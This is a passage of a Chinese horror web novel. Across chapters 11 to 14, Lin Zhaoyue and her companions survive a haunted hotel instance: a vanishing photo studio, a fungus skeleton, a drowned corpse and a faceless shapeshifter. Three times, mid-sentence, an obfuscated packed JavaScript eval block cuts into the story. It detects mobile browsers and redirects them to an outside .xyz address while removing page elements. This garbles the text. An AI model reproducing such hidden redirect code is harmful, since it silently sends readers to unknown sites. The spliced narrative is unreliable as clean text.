骷髅又一次张开嘴,一朵蘑菇的菌盖靠近另一朵蘑菇,在下颌骨的推动下发生摩擦,水泡里的浑浊液体翻涌,仿佛下一秒就要破裂。然而它们比林昭月想象得更加坚韧,颤动的频率越来越高,快越来越快,也只是渗出两滴而已。 骷髅的口腔里传出声音:“拿着它,你就可以找到‘芳华摄影工作室’。” 它是依靠蘑菇发声的,蘑菇代替了它的喉舌。 林昭月诚恳道谢,踩着一侧的石椅垫脚,从树上折下一截枯枝,枯枝代替不够长的手臂,差一点就能够到传单了。 “驱魔师老先生,帮帮忙。” 骷髅没有说话,细密的半透明丝线从床板上垂落,轻柔地推动传单。 林昭月终于用枯枝够到传单,口中说:“多谢帮忙。” 完成任务之后的透明丝线一点点回缩,从床板的缝隙里消失,林昭月还是找到它们的踪迹,从骷髅的双耳中,从颅骨里晃动的脑组织表面——它们其实是从骷髅的大脑里长出来的。 传单一到手中,林昭月连忙将它展开。她以为上面会有地图,很多店铺的传单上都会标注清晰的到达路径,但没有。 传单上只有店铺的图片,和一行宣传语—— “用镜头雕刻时光,以光影定格永恒,新工作室启幕,邀您共赴一场视觉盛宴。” 背面是空白的,林昭月正要询问骷髅,手腕被身旁的林小满抓住。因为吃惊,她嘴巴张大到可以吞下一枚鸡蛋。 林昭月顺着她手指的方向看去,见到三观重塑的一幕。 便利店对面的空地上由虚幻到凝实,出现一幢和酒店风格完全一致的单层房屋,地上的枯枝败叶因为它的出现而被清理一空,连房子周围的泥土都被硬化,铺上彩色的瓷砖。仿佛它一直在这里,只是林昭月两人看不见它而已。 整面落地玻璃幕墙的上方,悬挂着“芳华摄影工作室”的招牌。与宣传单上的图片一模一样,内里暖黄色的灯光让二人略觉放松。 这是一间氛围温馨的工作室,应该不会有危险吧? 林昭月转头看向身后,便利店里悄无声息。 她回过头,伸手推开工作室的门,带着林小满走进去。 11.圣母垂泪(十一) “叮铃——” 门框上悬挂的贝壳风铃发出一声脆响,唤醒沉睡的店铺。暖黄色的光如薄雾般笼罩而来,让人放松的木质香气萦绕周身。 林昭月抬眼看去,米色系是工作室的基调,整体风格温馨雅致。 店内布局简单,三排衣架构成空间的骨骼,悬挂各色普通衣物。真正做工细致、布料华丽的衣裙则挂在墙上,以做展示。特别华丽反复的,还特地用透明的装衣袋保护起来,避免弄脏。 林昭月的目光落在旗袍区域,旗袍相对别的衣物来说总量较少,可选择的不多。其中一件桃花旗袍尤为醒目,它的花纹、款式和拼图图纸上的女人身上穿的旗袍一模一样。 同样的旗袍这里一共有三件,区别只是尺码不一样。 一般的摄影工作室都会给客人提供拍摄服装。当然,客人愿意自带也可以。 芳华摄影工作室身处景区,准备的服装类型比一般的工作室要多一些并不奇怪。旗袍相对于别的服装,对客人的身材要求更高,林昭月检查过,每一款都有四个尺码,从S到XL。 桃花旗袍只有三件,缺的是M码,大概率是小姐姐身上穿的那一件。 既然用来判定身份的旗袍有多件,且为摄影工作室的拍摄服装,已经可以说服韩东等人延迟计划。 只是不知道他们现在进行到哪一步了。 林昭月往里面走,没走几步看到工作室的前台,米白色岩面上摆着一本工作日志,再无别的物品。她走过去,翻开日志,上面全部是客人的预约记录,奇怪的是时间一栏全部墨迹不清。 纸张翻动间,她眼角的余光忽然瞥见一个晃动的人形轮廓,出现在右侧椭圆形的门洞后。随着它迈步走进前台,伸出一只半透明的手伸手合上打开的工作日志,特殊之处彻底显现在二人面前。 这条手臂轮廓清晰,衬衣的褶皱和袖口处的扣子都细致的显露出形状。 从身体曲线的起伏来看,它应该是一位女性。将工作日志放回原来的位置,它拉开工作椅坐下,不动了。 十秒钟过去,一分钟过去…… 它始终维持着相同的坐姿,连手指都没有颤动哪怕一下。若非可以看到睁开的眼皮轮廓,林昭月会误以为它已经睡着了。 对于面前的二人,它视而不见。 林小满大着胆子,伸出一只手在它面前晃动。它连眼睛都没有眨一下,依旧在发呆。 二人对视一眼,尽量放轻脚步,朝着它出来的方向走去。穿着右侧椭圆形的门洞,里面比想象中的更宽敞。往左是卫生间,有相应的标识,右边是化妆间,房门大开着—— 环形灯将整面墙的镜子照得锃亮,八张化妆台前挤满了忙碌的半透明身影,正经端坐看着天花板鼓眼睛的正在涂睫毛膏,粉扑拍在一张打哈欠的面部轮廓上,化妆师站在客人的身后,往盘好的头发里插绒花。 拉开的更衣帘后面,站在一位正在欣赏刚上身的西服套装的男士,旁边一个一米二的小孩挥舞着一根文明杖,眉开眼笑,嘴巴大大地张开着。 如此热火朝天,却没有一点声响。 完全、彻底的静寂无声。 如同一场哑剧,唯一的伴奏竟是二人的呼吸声。 林昭月走进去,文明杖的前端落在她的脚边,小孩的动作瞬间凝滞,如外面的前台小姐一样,化作一尊透明的雕塑。整间化妆间都定格在这一瞬间,透明人们全部停止了动作。 二人小心翼翼地绕着不大的房间查看一圈,便从里面退出来。旁边是“摄影师工作间”,门上挂着牌子,房门是关着的。林昭月拧动门把手,推开房门。寒气扑面而来,从每一个毛孔往身体里钻,房间里的温度至少比外面低十度。 这不正常,林昭月的汗毛竖起来。正因为一场,所以肯定是要进去的,她也不可能把林小满单独留在外面。 韩东有一句话说得没错,恐怖片里单独行动的炮灰最容易出事。 那还有什么说的? 林昭月拉着小满往里面走,心中祈祷自己别是炮灰。 工作间里有八个工位,但只有最后面放着一台笨重的电脑。或是睡觉,或是翻看相机中的照片,屋内的摄影师们各有事情做,也因她们的到来瞬间定格。越往里面走,温度越低,最后一个工位上没有人,反而是工位旁的地板上跪着一个半透明的男人。 它双膝着地,双手高举着一台相机,背部佝偻,作忏悔状。 林昭月伸手手指触摸相机,刺骨的冷意顺着指尖蹿到颅顶。她被冻得一个哆嗦,但5点的法力值让她还能撑得住。心知相机必有古怪,便返回外面,找到一些衣服把它裹起来,周围的温度明显在上升。感觉差不多了,林昭月从半透明摄像师的手中捧起相机,放进随身的包里。 帆布包被拉上的瞬间,两人都感觉有什么东西发生了变化。好似沸腾的油锅里倒进了半盆水,空气里有什么炸开了!油花四溅,惨叫迭起。 死寂的工作室里,第一次出现声音。 “快跑……” 林昭月大喊一声,朝着门口跑去。 崭新的房门发出不堪重负的吱呀声,无风自动,将闯入者关在里面。 霉味混着铁锈味扑面而来,门板变得腐朽不堪。头顶暖黄色的光变得暗沉,照在门板上,像是一层凝固的血痂。 林小满跑在前面,连忙拧动门把手,但锁头像是生锈一样,掉出一些残渣,但锁舌一动不动。她一咬牙撞向门板,却感觉自己像是撞在一块毫无缝隙的钢板上。 这扇看起来腐朽不堪的门没有丝毫晃动,与门框之间像是用强力胶水粘合住一般。 角落里,一把旋转椅毫无预兆地大幅度晃动起来,滑轮在布满裂痕的地砖上发出刺耳的摩擦声,向着两人撞来。 “让开!” 林昭月一脚踢向房门,在林小满面前无比强硬的门板,在她处犹如一团柔软蓬松的面团,任由她搓圆搓扁,固定的合页“哐当”一声脱落,门板直挺挺砸在地上。 林昭月牵着林小满跑出“摄影师工作间”,回头一看。只见满墙都是血字——我有罪,我贪婪;我有罪,我贪婪;我有罪……凌乱不堪,层层覆盖。滴落的血水在地板上形成一个个血泊,半透明的摄影师们躺在地板上,显露出死亡那一刻的光景。 他们哀号着,痛哭着,挣扎着,朝着两人爬来。 到处都是血,走廊的墙面缝隙里在往外渗血,卫生间的门缝里也有血涌出来。 二人冲出门洞,化妆间里爬出化妆师和客人,无数双染血的半透明的手抓向她们,拉扯她们。 林昭月推开门,扯着林小满跨出门槛。 “嘭嘭嘭——” 透明的身影挤在门口,磨砂玻璃上血手印。 骷髅提醒道:“还不快把传单折起来。” 林昭月后退两步,依言照做。刚将传单折回原样,芳华摄影工作室就像是出现时一般,突兀的消失了。 她手中的传单油墨变暗,字迹斑驳,折叠的地方至少再稍加用力,便会破裂。 似乎每一次折叠,对传单来说都是不可逆的损伤。 先不提传单能否带回现实世界,仅是在酒店里,拥有一间随身小屋的梦想,霎时破裂。它或许只能再用一次,价值虽然降低,但还是很高。 “芳华摄影工作室,我已经帮你们找到了。现在该帮帮我了。” 骷髅的声音从背后响起来,林昭月转过身,看向黑漆漆的便利店。随着时间逐渐向下午六点走去,光线越发昏暗。 天空中黑云滚滚,一场暴雨随时可能降临。 “请你再等一会儿,我们得先把工作室的消息带回给同伴。” 林昭月语气诚恳,并且有理有据的劝说道:“你别着急,我们不会去太久,只需几分钟就好。到时候我们会带来更多的人,救你出来会更加简单。” “你说得有道理,”骷髅先是赞同,接着话音一转说:“可传递消息一个人去就行了。留下一个人在这里吧!等待的时间永远是最难熬的,有人陪我说话会过得快一点。” 林昭月心中冷哼一声,问道:“你想让谁留下来?” 骷髅说:“你身后的小姑娘。” 林昭月笑着说:“那不行,我们俩要走一起走。” 留,那是不可能的。 骷髅拔高声音,尖利大叫道:“那你们就一起留下来!” “你果然不安好心,”林昭月勃然大怒,拉着林小满就往外走去。 “我看你怎么留下我们。” 两人走出去四五步,还没有离开走廊,地面上已经满是浑浊的黄色液体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452115|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。抬起脚,滴滴答答自鞋底掉落。 它们是从便利店里淌出来的,只要覆盖砖石,立刻有孢疹菇一株株从狭小的、只有稀薄泥土的窄缝冒出来,以肉眼可见的速度,长到半米左右。 顷刻间,堵住两人的去路。 林昭月挥舞枯枝打烂几株,前端缠上细密的透明丝线。她用手指一碾,丝线比灰白头发更快化为齑粉。 “这些是菌丝吧?一个可以利用蘑菇来发声的家伙,对它们控制需要多么精准,多么细致。可以做到这个,不可能还因它们困在便利店里动弹不得。我没猜错的话,所有的孢疹菇都是从你的身体里长出来的,由你的皮肉所化,受你的大脑控制。” 骷髅大惊:“你早就对我有所怀疑?” 林昭月没有回答,欺诈和被欺诈者的地位逆转,让骷髅破防。 “所以,你之前是在配合我演戏?你是套出工作室的位置……” “嘭嘭嘭——” 一株株蘑菇炸开,喷射出黄色烟雾。同时,夜里出现的尖锐笑声响起。 林小满猝不及防吸入一口,连打几个喷嚏,生理性的眼泪溢出来。 奇异的是烟雾接近林昭月,便朝周围逸散。仿佛她身边有一个看不见的保护罩一般,防止她受到侵害。 这是法力值的作用,5点法力值可以无视孢子。 她记下这一点,正要挥舞树枝打开一条通道,却听骷髅说:“你有点本事,可惜你同伴只是个普通人。她每一次喘息,都会有大量的孢子通过气管,来到肺部,释放原液裹出温床。一切准备就绪,第一缕菌丝刺穿肺泡壁时,像情人的舌尖舔开糯米纸般温柔。” “直到菌伞撑裂支气管,喉头涌出青灰色的伞柄,成熟的疱疹菌在眼眶里绽放,黏液混着脑脊液从鼻子流出来,啊啊啊!这时,她才会意识到,自己的身体里已经全是蘑菇,从肺叶到盆腔,从关节到内脏,每一处都挤满蘑菇。” “你说,那时候她还能活吗?” 林小满闻言,脸上却并没有出现害怕的神色。 因为,上一个说要杀死她的人,尸体现在还在主楼前的空地上摆着。“水泥招牌”太重,想收尸都难。 “你敢动她!” 林昭月的身上迸发出的杀意,让骷髅骤然噤声。 片刻之后,又觉得丢人一般,强撑胆气说:“今夜有雨,空气湿润度高。孢子会提前孵化,她活不到明早。” 林昭月面沉如水,拿出打火机,点燃一件衣服丢进便利店。 骷髅嗤笑:“你以为我怕火?” 衣服的焰火烧得又高又旺,便利店有一些助燃的物品,地上还有一些油脂,可惜火焰一接触到疱疹菇,就会被大量的脓液浇熄,连最外面一层的蘑菇都没有烧掉几株,对一个个大瘤子几乎没有伤害。 “那你怕什么呢?” 林昭月并不泄气,思考起来:“疱疹菇受你控制,没有行动能力是假的。那你为什么龟缩在便利店里,想害我们用的是迂回的方式,骗我们主动走进来。我们要走,你都不敢走出来拦!” “你在害怕什么?” “外面有比你更厉害的存在!” “我遇到的怪物都是有皮无骨水做肉,唯有你是有骨无皮。原来,你们不是同一种怪物,属于两个阵营。” 骷髅强作镇定地说:“我完全听不懂你在说什么?” “让我猜猜,你和谁有仇呢?” “前台?” “不是。” “清洁工?” “也不是。” “我觉得厨师也不是,那是游泳池里的那位女士吗?” 骷髅再也无法伪装,大喊道:“闭嘴!别说了。” 林昭月心中平静的想,终于诈出来了。她听话地闭嘴,用枯枝打烂疱疹菇。法力值的加持下,她做这件事好比用手捏嫩豆腐,完全不费力气。 不用她提醒,林小满已尽力屏住呼吸。怪笑、不断爆炸的蘑菇、越来越浓郁的烟雾和满地的脓水,都不能阻拦两人的脚步。 她们越走越远,骷髅在后面喊道:“你们去哪?” “别急,等着我。” 林昭月转过头认真地说:“我很快回来。” 骷髅:“……” 我讨厌等待,求你别回来了。 12.圣母垂泪(十二) 冷风中夹杂水汽,拂过面颊,留下细细密密的水珠。 怎么解决骷髅? 当然是它害怕什么,就把什么带给它。 仇恨和爱情一样,有可能是单方面的情绪,但骷髅害怕女尸到龟缩在便利店里,可见这段仇怨的另一方还未放下屠刀。 仇人的仇人就是朋友,这个准则肯定是正确的。 林昭月随手抹一把脸,朝着游泳池走去。她这一路上一直留心周围,牢记路线,脑中已有酒店的大致地图,知道距离便利店五十多米的地方,就有一个浅水池。 酒店泳池很多,水系发达。便利店的地理位置算是距离泳池很远的,旁边的草丛里就有不锈钢水桶,中间凹陷多处,但不影响使用。 林昭月对小满说:“你一会儿站在一边,不管发生什么事情都不要靠近我。” 林小满点头。 这姑娘最大的一个好处就是听话。林昭月屏气凝神,提着桶蹲到泳池旁边。这一处没有被他们清理过的浅水池漂浮着绿油油的水藻,正随水波飘荡,一左一右,颇有节律。 水桶丢进去,飘在水面上。 林昭月抓住水桶的边缘,将桶按进水里,泳池咕噜咕噜的冒着泡,水桶装满了。这时,水桶里的水从中间往边缘荡起一圈圈涟漪。一只手从里面伸出来,指头根根肿胀,颜色青白,指甲缝里嵌着绿藻。 泡烂的腐肉气味混合着水腥气扑鼻而来。 冰凉、黏腻触感让人不适,林昭月的手腕被抓住了。她下意识想要缩回手,但那只手的力量大得惊人,完全无法挣脱。 尖锐的指甲嵌进皮肉里,绵密的刺痛感袭击大脑,林昭月连忙稳住心神,说道:“便利店里有你的仇人,我送你过去弄死他。” 那只手放开她,回到水桶里,只余下一圈圈水波证明刚才林昭月看到的不是幻觉。 她舒一口气,总算是成功了。 提着桶站起来,林昭月往便利店的方向走去。 距离门口还有好几米,里面的骷髅已经惊叫起来:“你带她来了!” “你这个疯子……” 林昭月平静地说:“我回来了。” 骷髅:“……” 林昭月特别有礼貌的问:“没让你等太久吧?” “没有,当然没有。” 骷髅的语气变得非常客气,它慌忙解释道:“我刚才是胡说八道的,孢子在人体内孵化为疱疹菇至少需要一天一夜,甚至更久。它们是受我控制的,我能它们安静下来。相信我!它们会像一些无关紧要的灰尘一样,待在你朋友的身体里,不会给她带来任何伤害。咔咔咔咔……你要是还不满意,把它们从你朋友的身体里弄出来也是可以办到的。” 骷髅的惊惧绝不作伪,他说出的话含糊不清,显然已控制不好发声的蘑菇,就连牙齿都在打颤,相互碰撞发出异响。 “太迟了,”林昭月说:“你我现在都没得选。” 她要是不把水泼进去,泳池里的那个东西不会放过她的。 一只用谎言骗人类进去杀的骷髅,说的话也并不可信。 “哗啦——” 一桶水泼进便利店,“滋滋滋”的声音中白烟升腾而起,但凡是被水泼到的蘑菇都像是碰到强酸一样,迅速被腐蚀殆尽。转眼之间,最大的两个蘑菇瘤子已经消失不见,藏在里面的骷髅暴露出来。 它没有皮肤,感知不到寒冷,并没发现一具肿胀到极致的身躯正站在他身后。直到水顺着女尸肿得近乎透明的小腿滴落,掉在地板上,发出“嘀嗒”的声响,骷髅才意识到什么,却根本不敢转过头朝后面看上一眼。 森森的骨架颤动,骷髅摇摇晃晃从床板上爬起来。一只白骨手爪扶住头颅,让身体不会被剩下的蘑菇带倒,就像是一个固定氢气球的桩子一样,脚趾蜷缩起来抓住地面,而它另一只手则紧紧攥着一只老式银镯子,如同抓着一根救命稻草,喉咙中的蘑菇摩擦,发出声音:“退退退——” 林昭月目光落在镯子上,要是距离再近一点,她就能知道这一只是不是拼图图纸中女人戴的那一只了。 这种老式镯子,应该不太常见才对。它似乎的确有一些威慑作用,女尸没有再靠近骷髅,而是站在原地不动了。 骷髅骨骼的颤动慢慢变轻,仿佛是安慰自己一般,吼道:“有镯子在,你别想杀我。” 女士转过头,用露在外面一只眼睛看向林昭月。花白的头发随着它的动作披散到背后,露出半张脸,耳后的一块红斑像是蹁跹的蝶。 衣服或许有多件一模一样的。 镯子或许有同款。 可是胎记总不可能这么巧,同在左耳耳后,形状也一模一样。 拼图图纸中的女人至多不超过三十岁,水中女尸却至少有六七十岁了。一个身段窈窕,一个臃肿鼓胀,林昭月从没有把她们联系在一起过。谁能想到,这会是一个人。 女尸面颊颤动,浑浊的眼球在肿胀的眼眶里旋转,林昭月一个激灵,回过神来。女尸不耐烦了! 咦,这是要她帮忙吗? 这也太高估她了。 她一个血肉之躯,肯定干不过骨架子。不过,若只是让她夺下银镯子,倒并不太难。一只无皮无肉无血的骷髅,唯一的弱点自然是颅腔里的脑花。 林昭月目光扫视店内,目光落在货架最上面一格的瓶瓶罐罐上,那些都是白酒,整整齐齐的排列着,表面已经落上一层灰。心中顿生一计,大力撞向货架。 货架倾斜,泡面和膨化食品滑落到地上。接着,白酒争先恐后地撞在墙壁上,酒液如花洒喷水,淋在骷髅身上。一些酒液,顺着颅骨的缝隙直接接触脑组织。 骷髅张大嘴巴却发不出痛呼,浑身痉挛,四处乱撞。 林昭月趁机抢到银镯子,头也不回地冲出便利店。 身后,女尸张开嘴,面皮撕裂,露出暗红的口腔组织,在骷髅撞过来的时候,含住它的头,咬断颈骨。 骷髅头顺着口腔,滚进女尸的喉咙里,继续往下掉。那早就被撑大到极致的衣物终于不堪重负的寸寸破裂,露出膨胀如桶的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456256|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腹部。 近乎透明的肌肤让内部一览无余,林昭月看到一颗骷髅头在里面浮浮沉沉。 女尸静静地看着她,地板上已经聚集一个小水洼。 “那什么,如果它好好研究一下,用蘑菇给脑袋加一层保护,不会死得这么快。” 林昭月牵着林小满的手,另一只手攥着镯子。 镯子到手,她确定这一只就是拼图图纸中的那一只。 女尸消失了。 林昭月松一口气,对林小满说:“走!我们去找其他人。” 两人朝着拼图图纸中的房间走去。 那个房间就在主楼的对面,打开阳台的门,下几步楼梯就能到泳池里畅玩。 泳池上方的小拱桥连接各个泳池,是最快到达房间的道路,但才和水中女尸合作杀骷髅,关系有点太过亲密了。林昭月总觉得一靠近泳池,水波就在轻荡。宁可绕一圈,加快脚步也就是了。 走到一个转角处,迎面撞来一人,双方都摔倒在地上。 林昭月定睛一看,原来是高庆晴。只见她六神无主,似乎是手脚发软,一时间竟难以靠自己的力量爬起来。 林小满正要拉她起来,被林昭月拦住,居高临下问道:“你是真的高庆晴吗?” 小姐姐可以变成他人的模样,忽遇落单的玩家不可不防。 不等对方回答,林昭月又问:“你早上几点上班?” 高庆晴张开嘴:“八八八……” 林昭月把她拉起来,打断她的话:“八点对吧,我相信你是真的高庆晴了。” 小姐姐毕竟只是可以变成别人的样子,又不是演员,演结巴不会一模一样,而且林昭月不管问什么问题,要的并非眼前的高庆晴说出正确答案。双方还没有那么了解对方,她只需要通过观察高庆晴是否迟疑,就可以判断真伪。 高庆晴得到认可,松一口气,连忙说:“小小小……” 林昭月问:“小心?” “小小……小姐姐,发发发……发狂……” 林昭月:“……” 我恨你是个结巴。 林昭月越过她,听她说话真能把人急得汗水渗透衣服。 “小满,跟在我后面。” 说完,林昭月朝高庆晴来的方向走去。 男人的怒吼声让她锁定房门大开着的房间,声音是韩东发出来的,夹杂着重物落地的声音。里面的战斗显然很激烈,如她先前的不妙预想一般,小姐姐请画家拍照,就如骷髅请求她帮助自己逃出便利店一样,都是一种吞吃玩家的方式。 她还未走近,便见韩东和画家跌跌撞撞冲出来,跨过门槛的时候,画家一个趔趄倒在地上,眼见韩东头也不回的撇下他离去,表情直接变得一片空白,视线直勾勾看着黑色的门洞,一时难以做出反应。 相必下一刻,一双绣花鞋就会从里面从里面跨出来。 然后,他连躲避都来不及就会魂归西天。 “我要死了,妈妈。” 画家的眼泪从眼角流下来。 13.圣母垂泪(十三) 一秒、两秒、三秒…… 虽然不知道是什么原因,但追逐在身后的小姐姐并没有跟上来。 “妈妈,我好像得救了。” 画家的绝望飞快地消失,连忙从地上爬起来 另一边,跑出去十几步的韩东身旁,跟上从旁边的灌木丛中钻出来的高庆晴。她一直不停地回头看去,脚步慢慢放缓,出声叫住韩东。 “韩哥,她好像没有追出来。” 韩东停下脚步,激动得浑身颤抖,转过身抓住高庆晴的双手:“太好了!我们逃过一劫哈哈哈哈。” 真正的高庆晴刚追上林昭月,抬头一看:“……” 咦!韩东拉着的那个人好眼熟,齐刘海,小圆胖,不正是她吗? 原来,乍然看到一个和自己一模一样的人真的会有陌生感,世界好玄幻。 “她她她……” 高庆晴又结巴了。 林昭月说:“她玩翻车了。” 韩东好歹是经历过两个副本的资深玩家,而且假扮高庆晴很容易露馅。 假的高庆晴完全没有发现自己暴露,抱怨道:“韩哥,轻点!你把我抓痛了。” 她不清楚韩东和高庆晴的关系,其实类似撒娇一样的话语,很容易蒙混过关。 韩东没有回答,嘴里爆发出一阵爽朗的笑声。 假高庆晴感觉到身体的变化,她只有在受到攻击时,伪装才会消失。顿时,脸色骤然阴沉下来。 “你在对我做什么?” 韩东还是在笑,笑得眼泪都要出来了。 假的高庆晴面容从下巴开始出现变化,血气充裕的皮肤变得苍白泛青,五官消失不见,从一个矮个子的微胖姑娘变成一个身材高挑的成熟女人,正是小姐姐。 那巴掌大的小脸上没有一件五官,倒是从盘成髻的秀发里挤出一张丰润的嘴,上面厚涂着一层红艳艳的唇脂,水色潋滟。嘴唇张开,脂液顺着唇角滴下来,掉在雪白的尖牙上。 一时间凶相毕露,有种非人的怪诞姿态。可随即嘴角就像是被一根看不见的丝线拉着一样,极不自然地向上勾起,露出笑的模样。 “咯咯咯咯……” 小姐姐被韩东的天赋技能影响了。 没笑几声,嘴从发髻里消失。 韩东惨叫一声,撒开鲜血淋漓的左手。凝神一看,小姐姐手背上长着一张烈焰红唇,齿缝里都是他的血肉,凶残无比。 这张嘴咀嚼两下,骂道:“竟然阴老娘,不想活了。”说罢,咬向他的右手。 韩东连忙退后两步,他怕自己的手被咬断。 异能由此中断,他已无计可施,只得朝着林昭月跑去,喊道:“林小姐,快用血,拦她一拦。” 韩东还以为她的天赋技能是洒血退敌。 她倒是弄清楚韩东的天赋技能是什么了。 小姐姐左右胳膊上各有一只眼睛,睫毛弯弯,眸子明亮。一看心情就十分愉悦,林昭月猜测可能是做完新美甲很满意的缘故。 她先前指甲涂的也是红色,现在没有更换底色,但林昭月不在的时间里,她贴好一个延长甲。新甲片30厘米长,锥形,只看十根指头上尚未干涸的血迹,就知道它们有多么的锋利。 不过,她的新指甲刚才被韩东的技能弄掉两片,相应的手指头变得干瘪褶皱,像是风干的萝卜。 这倒没有太影响她的心情。 看到林昭月,她就开心。 “正愁没见到你,”小姐姐手心里裂开一条缝隙,消失在手背上的一张烈焰红唇从里面钻出来:“咯咯咯咯。还不快跑!吃你来了。” 林昭月嗤笑道:“先前是谁哭着求我别过去的?” 小姐姐怒道:“我没哭!” 心中杀意滔天,发誓要吃掉这个该死的人类。 林昭月一个白眼丢过去,态度轻蔑至极。 “真不明白,他们怎么会被你追得到处跑?” 她把手里的喷雾瓶往空中一抛,又稳稳接住。 “哦,都怪我,忘记告诉他们一瓶‘防狼喷雾’就可以把你放倒了。” “有本事别跑,让我抓住你,不喝干你最后一滴血叫你哀叫求饶,我绝不让你死。” 林昭月淡淡道:“谁跑谁是小狗。” 小姐姐气得双目发红,连带着镶嵌双目的两条胳膊都在抖,喉咙里发出一声野兽般的嚎叫,双爪闪过寒芒,朝着她冲过来,咆哮道:“嘴巴这么臭,你的血一定很甜。” 转眼间,韩东已经来到林昭月面前,小姐姐紧随其后。 林昭月说到做到,她没有跑。不仅如此,她还从容地转过身去,背对来人。 韩东一愣,这是干什么? 却见一幢房屋凭空出现在眼前,入目是“芳华摄影工作室”的招牌。还未反应过来,便被绊了一下,整个人向斜前方扑去。一头撞在墙壁上,额头流出鲜血。 林昭月收回脚,拉开血迹斑斑的玻璃门。 小姐姐看到凭空出现的房屋,双目已是惊骇瞪圆。可惯性让她来不及刹住脚步,竟一头冲进工作室里。 从开阔环境来到密闭空间,还是一个熟悉的地点,血……到处都是血,入目全是血字。 小姐姐心里一咯噔,立时转过身要跑。可玻璃门已经从外面被关上,待要撞门离去,脚下一沉。低头看去,一双轮廓清晰的手抱住了她的腿。 接近着,她的腰也被抱住了。 “放开我——” 小姐姐大声呼喊着,她的声音将工作室里的寂静魔咒打破,絮絮叨叨的声音接二连三响起来。 “只有你一个人跑掉。” “这不公平。” “你终于回来了。” “留下来……” “留下来……” 最后,已经没有别的声音,透明人们整齐而一致地重复“留下来”三个字,连续不断,不曾停歇片刻。 这三个字变成恼人的诅咒,萦绕在她的耳边。 小姐姐割断腰间半透明的手,大喊“闭嘴”。锋利的指甲在玻璃门上划出几道印记,声音刺耳,可更多的手向她抓来,抱住她,拽住她,扯住她…… 她逐渐被工作室里的员工和客人们挤得动弹不得,躯体一点点褪去色彩,双腿率先变得透明…… 林昭月折叠传单,微笑道:“小姐姐,你今天的妆容不太行。瞧瞧化妆师小姐姐多热情,在里面重新画一个吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466468|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小姐姐:“……” 传单重新折好的一瞬间,芳华摄影工作室如出现时一般突兀地消失。 可惜传单破损严重, 韩东不明白一切是怎么发生的,但那东西的确是被解决了。这真的是个新人吗?他目光有些复杂地看着林昭月,说道:“多谢,若不是有你在,我一定没命了。” 林昭月说:“你救过我一次,我还你一次。咱们两清了。” 她说的是第一次在泳池里见到女尸的时候,韩东拉了她一把,让她没有栽进池子里。 韩东:“……” 他没忘记这件事情,但也想到林昭月真会记他的恩。 林昭月看向他的额头,“韩哥不怪我绊你一跤就好。” 韩东笑着说:“事情紧急,若不是你当机立断,我身上不知要多几个窟窿。这份救命之恩,我记在心里了。” 心里至少有七分肯定,这就是报复。 先前逼迫林昭月的事情,他没有忘记,他相信林昭月也没有忘记。 这是一个有恩必报,有仇也必报的人。 韩东暗自决定,接下来若非必要,绝不和林昭月发生冲突。 危险已经消失,高庆晴的结巴有救了。 “林姐姐,快去看看陈哥吧。他的伤很重……” 林昭月没等她说完,快步走向房间。韩东在一旁解释道:“陈哥是为保护南大少爷受的伤,本来以他的身手逃出房间不成问题。” 他没说要不是陈默一开始就代替南黎川挨一下,他和对方配合之下,解决小姐姐不是问题。 房间里到处都是血。 一个人流这么多血肯定活不了了。 南黎川双手捂着陈默的腹部,整个人都在抽搐。有人亲眼死在自己面前,还是替自己而死,对任何人来说都是巨大的冲击。 反倒是生命走到最后一刻的陈默,此刻出奇的平静。看到林昭月的那一刻,逐渐涣散的眼睛骤然亮起来。 “外面没事了?” 他问林昭月,声音头一次如此虚弱。 林昭月点头,主动询问:“有什么我能帮上忙的吗?” 陈默说:“我想请你做个见证——我答应保护南先生,事先讲好的条件为,他平安离开游戏副本之后,将负担我妻子的医疗费用。若我死亡,则需按月支付我的妻女一笔生活费,直至我的女儿获得一份稳定工作为止。还有……” 他大口喘着气,难以继续说下去。 南黎川哽咽着说:“还有,若是嫂子治疗无效死亡,我需要给侄女找一个好的人家收养她……你放心,不管花多少钱,我一定不会让嫂子死的。” 陈默定定地看着林昭月。 林昭月说:“我会盯着南先生,让他履行约定。” 这是对他一言之恩的报答。 林昭月对南黎川说:“我们约个时间,回到现实世界之后见一面。” 南黎川说:“这周日下午七点,海市云汐半岛6幢12-3房。” 林昭月点头,“我记住了。” 陈默露出一个感激的笑容,咽下了最后一口气。 屋内死寂般的沉默,凝滞的空气让人喘不过气来。 14.圣母垂泪(十四) “呜呜——” 一声抽噎打破默哀,高庆晴想要捂住嘴,但手刚抬起来号哭就脱口而出,眼泪也像决堤似的往往淌。 画家背靠墙壁跌坐在地上,喃喃自语:“陈哥是死的第二个人了……” 